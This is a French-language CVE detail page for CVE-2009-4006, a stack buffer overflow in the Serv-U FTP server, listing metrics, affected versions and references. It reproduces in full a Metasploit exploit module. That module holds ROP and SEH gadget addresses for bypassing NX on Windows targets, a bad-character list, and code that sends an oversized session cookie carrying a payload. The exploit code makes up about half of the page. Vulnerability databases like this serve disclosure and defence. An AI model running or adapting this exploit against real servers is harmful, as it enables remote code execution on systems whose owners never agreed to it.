CVE-2009-4006 : Détail

CVE-2009-4006

Overflow
77.87%V4
Network
2009-11-20
10h00 +00:00
2018-10-10
16h57 +00:00
Notifications pour un CVE
Restez informé de toutes modifications pour un CVE spécifique.
Gestion des notifications

Descriptions du CVE

Stack-based buffer overflow in the TEA decoding algorithm in RhinoSoft Serv-U FTP server 7.0.0.1, 9.0.0.5, and other versions before 9.1.0.0 allows remote attackers to execute arbitrary code via a long hexadecimal string.

Informations du CVE

Faiblesses connexes

CWE-ID Nom de la faiblesse Source
CWE-119 Improper Restriction of Operations within the Bounds of a Memory Buffer
The product performs operations on a memory buffer, but it reads from or writes to a memory location outside the buffer's intended boundary. This may result in read or write operations on unexpected memory locations that could be linked to other variables, data structures, or internal program data.

Métriques

Métriques Score Gravité CVSS Vecteur Source
V2 10 AV:N/AC:L/Au:N/C:C/I:C/A:C nvd@nist.gov

EPSS

EPSS est un modèle de notation qui prédit la probabilité qu'une vulnérabilité soit exploitée.

Score EPSS

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

Percentile EPSS

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.

Informations sur l'Exploit

Exploit Database EDB-ID : 16775

Date de publication : 2010-03-09 23h00 +00:00
Auteur : Metasploit
EDB Vérifié : Yes

## # $Id: servu_session_cookie.rb 8762 2010-03-10 05:58:01Z jduck $ ## ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = GoodRanking include Msf::Exploit::Remote::Tcp include Msf::Exploit::Remote::Seh def initialize(info = {}) super(update_info(info, 'Name' => 'Rhinosoft Serv-U Session Cookie Buffer Overflow', 'Description' => %q{ This module exploits a buffer overflow in Rhinosoft Serv-U 9.0.0.5. Sending a specially crafted POST request with an overly long session cookie string, an attacker may be able to execute arbitrary code. }, 'Author' => [ 'Nikolas Rangos <nikolaos[at]rangos.de>', 'M.Yanagishita <megumi1990[at]gmail.com>', 'jduck' ], 'License' => MSF_LICENSE, 'Version' => '$Revision: 8762 $', 'References' => [ [ 'CVE', '2009-4006' ], # unsure [ 'OSVDB', '59772' ], [ 'URL', 'http://rangos.de/ServU-ADV.txt' ], [ 'URL', 'http://lists.grok.org.uk/pipermail/full-disclosure/2009-November/071370.html' ], ], 'DefaultOptions' => { 'EXITFUNC' => 'thread', }, 'Privileged' => true, 'Payload' => { 'Space' => 512, 'BadChars' => "\x00\x3a\x26\x3f\x25\x23\x20\x0a\x0d\x2f\x2b\x0b\x5c&=+?:;-,/#.\\$%\x1a", 'StackAdjustment' => -4096, }, 'Platform' => 'win', 'Targets' => [ [ 'Windows 2003 SP2 English (NX)', { 'FixESP' => 0x0fb02849, # add esp, 0x40c / ret @libeay32 'FixESI' => 0x78a31e96, # pop esi / ret @mfc90u.dll 'FixEBP' => 0x78a4ae99, # push esp / pop ebp / ret 0xc @mfc90u.dll 'Ret' => 0x78a3e987, # ret 0x20 @mfc90u.dll 'DisableNX' => 0x7c83f547, # NX Disable @ntdll.dll 'JmpESP' => 0x78b2c753 # jmp esp @mfc90u.dll } ], [ 'Windows 2000 SP4 and XP SP3 English (SEH)', { 'Ret' => 0x0fb870bd # pop pop ret @libeay32.dll } ], ], 'DefaultTarget' => 1, 'DisclosureDate' => 'Nov 1 2009')) register_options( [ Opt::RPORT(80) ], self.class ) end def check connect sock.put("\r\n\r\n") # works res = sock.get(-1,3) disconnect if (res =~ /Server: Serv-U\/9\.0\.0\.5/) return Exploit::CheckCode::Vulnerable elsif (res =~ /Server: Serv-U/) return Exploit::CheckCode::Detected end return Exploit::CheckCode::Safe end def exploit # hit end of stack.. sploit = Rex::Text.rand_text(1000) * 75 if (target.name =~ /NX/) # new SEH handler (point esp into buffer) sploit[41000,4] = [target['FixESP']].pack('V') # stack frame to bypass NX sploit[52+0,4] = [target['FixESI']].pack('V') sploit[52+4,4] = [0x10200].pack('V') sploit[52+8,4] = [target['FixEBP']].pack('V') sploit[52+12,4] = [target['Ret']].pack('V') sploit[52+16,4] = [target['JmpESP']].pack('V') sploit[52+20,4] = [target['DisableNX']].pack('V') sploit[52+24,2] = "\xeb\x20" sploit[52+40,payload.encoded.length] = payload.encoded else seh = generate_seh_record(target.ret) sploit[40996,seh.length] = seh sploit[41004,payload.encoded.length] = payload.encoded end req = "POST / HTTP/1.1\r\n" req << "Host: #{rhost}:#{rport}\r\n" req << "Cookie: Session=_" req << sploit.unpack('H*')[0] req << "\r\n" req << "\r\n"; connect print_status("Trying target #{target.name}..." % target['Ret']) sock.put(req) select(nil, nil, nil, 1.5) handler disconnect end end

Products Mentioned

Configuraton 0

Solarwinds>>Serv-u_file_server >> Version 7.0.0.1

Solarwinds>>Serv-u_file_server >> Version 7.0.0.2

Solarwinds>>Serv-u_file_server >> Version 7.0.0.3

Solarwinds>>Serv-u_file_server >> Version 7.0.0.4

Solarwinds>>Serv-u_file_server >> Version 7.1.0.0

Solarwinds>>Serv-u_file_server >> Version 7.1.0.1

Solarwinds>>Serv-u_file_server >> Version 7.1.0.2

Solarwinds>>Serv-u_file_server >> Version 7.2.0.0

Solarwinds>>Serv-u_file_server >> Version 7.2.0.1

Solarwinds>>Serv-u_file_server >> Version 7.3.0.0

Solarwinds>>Serv-u_file_server >> Version 7.3.0.1

Solarwinds>>Serv-u_file_server >> Version 7.3.0.2

Solarwinds>>Serv-u_file_server >> Version 7.4.0.0

Solarwinds>>Serv-u_file_server >> Version 7.4.0.1

Solarwinds>>Serv-u_file_server >> Version 8.0.0.1

Solarwinds>>Serv-u_file_server >> Version 8.0.0.2

Solarwinds>>Serv-u_file_server >> Version 8.0.0.4

Solarwinds>>Serv-u_file_server >> Version 8.0.0.5

Solarwinds>>Serv-u_file_server >> Version 8.0.0.7

Solarwinds>>Serv-u_file_server >> Version 8.1.0.1

Solarwinds>>Serv-u_file_server >> Version 8.1.0.3

Solarwinds>>Serv-u_file_server >> Version 8.2.0.0

Solarwinds>>Serv-u_file_server >> Version 8.2.0.1

Solarwinds>>Serv-u_file_server >> Version 8.2.0.3

Solarwinds>>Serv-u_file_server >> Version 9.0.0.1

Solarwinds>>Serv-u_file_server >> Version 9.0.0.3

Solarwinds>>Serv-u_file_server >> Version 9.0.0.5

Solarwinds>>Serv-u_file_server >> Version 9.1.0.0

Références

http://www.osvdb.org/60427
Tags : vdb-entry, x_refsource_OSVDB
http://www.securitytracker.com/id?1023199
Tags : vdb-entry, x_refsource_SECTRACK
http://www.vupen.com/english/advisories/2009/3277
Tags : vdb-entry, x_refsource_VUPEN
http://secunia.com/advisories/37228
Tags : third-party-advisory, x_refsource_SECUNIA
http://www.securityfocus.com/bid/37051
Tags : vdb-entry, x_refsource_BID